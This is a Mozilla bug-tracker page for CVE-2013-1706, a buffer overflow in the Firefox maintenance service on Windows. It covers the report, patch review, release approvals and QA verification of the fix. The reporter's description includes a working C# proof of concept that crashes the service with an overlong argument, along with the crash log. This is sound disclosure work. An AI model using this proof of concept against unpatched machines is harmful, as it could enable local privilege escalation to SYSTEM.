Last Comment Bug 888361 - (CVE-2013-1706) Buffer overflow in WriteStatusFailure in maintenanceservice.exe
(CVE-2013-1706)
: Buffer overflow in WriteStatusFailure in maintenanceservice.exe
Status: RESOLVED FIXED
[adv-main23+][adv-esr1708+]
: csectype-bounds, sec-high
Product: Toolkit
Classification: Components
Component: Application Update (show other bugs)
: 23 Branch
: x86_64 Windows 7
: -- normal (vote)
: mozilla25
Assigned To: Brian R. Bondy [:bbondy]
:
Mentors:
Depends on:
Blocks: 481815
  Show dependency treegraph
 
Reported: 2013-06-28 10:22 PDT by Seb Patane
Modified: 2014-11-19 20:03 PST (History)
4 users (show)
abillings: sec‑bounty+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
wontfix
+
verified
+
fixed
+
verified
23+
verified
unaffected


Attachments
Proof of concept source + binary (3.25 KB, application/zip)
2013-06-28 10:22 PDT, Seb Patane
no flags Details
Patch v1. (12.55 KB, patch)
2013-06-28 14:22 PDT, Brian R. Bondy [:bbondy]
robert.strong.bugs: review+
lukasblakk+bugs: approval‑mozilla‑aurora+
lukasblakk+bugs: approval‑mozilla‑beta+
lukasblakk+bugs: approval‑mozilla‑esr17+
abillings: sec‑approval+
Details | Diff | Review

Description Seb Patane 2013-06-28 10:22:12 PDT
Created attachment 769022 [details]
Proof of concept source + binary

The WriteStatusFailure function in updatehelper.cpp fails to check the length of the update directory path provided before copying it into a string with a buffer of only MAX_PATH+1 length (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/common/updatehelper.cpp#l396).

The maintenance service passes a user-provided argument directly into this function, which leads to a buffer overflow and potential arbitrary code execution with SYSTEM privileges.

C# Proof-of-concept:
using System;
using System.ServiceProcess;

namespace WriteStatusBufferOverflow
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    "software-update",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    (new String('A',999))
                                     });
            }
            catch (Exception e) { 
                Console.WriteLine(e);
            }
        }
    }
}

Replicated on Windows 7 x64 with maintenanceservice.exe version 23.0.0.4923. The result is an entry in the Windows application event log that looks similar to this:

Faulting application name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Faulting module name: maintenanceservice.exe, version: 23.0.0.4923, time stamp: 0x51c81b22
Exception code: 0xc0000409
Fault offset: 0x00004628
Faulting process id: 0x3728
Faulting application start time: 0x01ce74230b086bb8
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Faulting module path: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
...

Have attached a compiled proof-of-concept, let me know if you need any further details.
Comment 1 Seb Patane 2013-06-28 10:24:43 PDT
Note: WriteStatusPending in updatehelper.cpp is vulnerable as well, but doesn't appear to be exploitable for privilege escalation.
Comment 2 Daniel Veditz [:dveditz] 2013-06-28 11:01:28 PDT
wcscpy()?! ALWAYS use the 'n' versions (e.g. wcsncpy) if there's no explicit length check otherwise.
Comment 3 Brian R. Bondy [:bbondy] 2013-06-28 14:22:59 PDT
Created attachment 769173 [details] [diff] [review]
Patch v1.

There are still a few cases of NS_tstrcpy we should also get rid of but this gets rid of all of the wcscpy in updater code.
Comment 4 Robert Strong [:rstrong] (use needinfo to contact me) 2013-07-01 00:53:38 PDT
Comment on attachment 769173 [details] [diff] [review]
Patch v1.

I haven't looked at anything but this patch and will try to look over the code for other cases hopefully by Tuesday.

The last time we reviewed the updater.cpp for this type of problem it was determined that it wouldn't get us in trouble but go ahead and file a bug for NS_tstrcpy.
Comment 5 Brian R. Bondy [:bbondy] 2013-07-01 11:25:33 PDT
Comment on attachment 769173 [details] [diff] [review]
Patch v1.

Requesting approval to land on try, oak, and m-i.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
A crash easily, I'm not sure how easy it is to execute something elevated.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No comments, but the content of the patch seems somewhat obvious what it's fixing.

Which older supported branches are affected by this flaw?
All for at least 10 versions.

If not all supported branches, which bug introduced the flaw?
bug 481815

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Should be the same patch everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Not likely after I test on oak.
Comment 6 Al Billings [:abillings] 2013-07-01 14:16:44 PDT
Comment on attachment 769173 [details] [diff] [review]
Patch v1.

sec-approval+ for trunk. We should take this downstream on branches and get this out in the next release. We've fixed enough maintenance service and updater issues now that smart people would be looking for more.
Comment 7 Brian R. Bondy [:bbondy] 2013-07-01 15:50:03 PDT
(In reply to Al Billings [:abillings] from comment #6)
> Comment on attachment 769173 [details] [diff] [review]
> Patch v1.
> 
> sec-approval+ for trunk. We should take this downstream on branches and get
> this out in the next release. We've fixed enough maintenance service and
> updater issues now that smart people would be looking for more.

Agreed although I think it's already a target for smart people given that updater and installer are the only places we execute code in an elevated context on Windows.
Comment 9 Ryan VanderMeulen [:RyanVM] 2013-07-03 11:51:50 PDT
https://hg.mozilla.org/mozilla-central/rev/d2df630c6f11
Comment 11 Brian R. Bondy [:bbondy] 2013-07-04 06:30:39 PDT
Comment on attachment 769173 [details] [diff] [review]
Patch v1.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined:
It is a sec:high
A process that already has local access could potentially get elevated access.
Buffer overflow, someone could write into process memory and possibly cause it to jump to execute their own code

Bug caused by (feature/regressing bug #): 
bug 481815

Fix Landed on Version:
mozilla25

Risk to taking this patch (and alternatives if risky): 
Low

String or UUID changes made by this patch: 
None

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Comment 13 Matt Wobensmith [:mwobensmith][:matt] 2013-08-02 17:09:19 PDT
Hi Seb, I'd like to verify this bug fixed using your PoC files and our latest FF builds. 

Can you provide step-by-step instructions on how to see this in action, so that I can verify the original problem and the fix? 

Thank you from the Mozilla QA department.
Comment 14 Matt Wobensmith [:mwobensmith][:matt] 2013-08-05 15:12:24 PDT
Seb sent me instructions in an email, so with that help, we could verify.

Confirmed issue using 17.0.7esr, and FF22.
Confirmed fixed using 17.0.8esr candidate, FF23 candidate and today's m-c nightly.

Note You need to log in before you can comment on or make changes to this bug.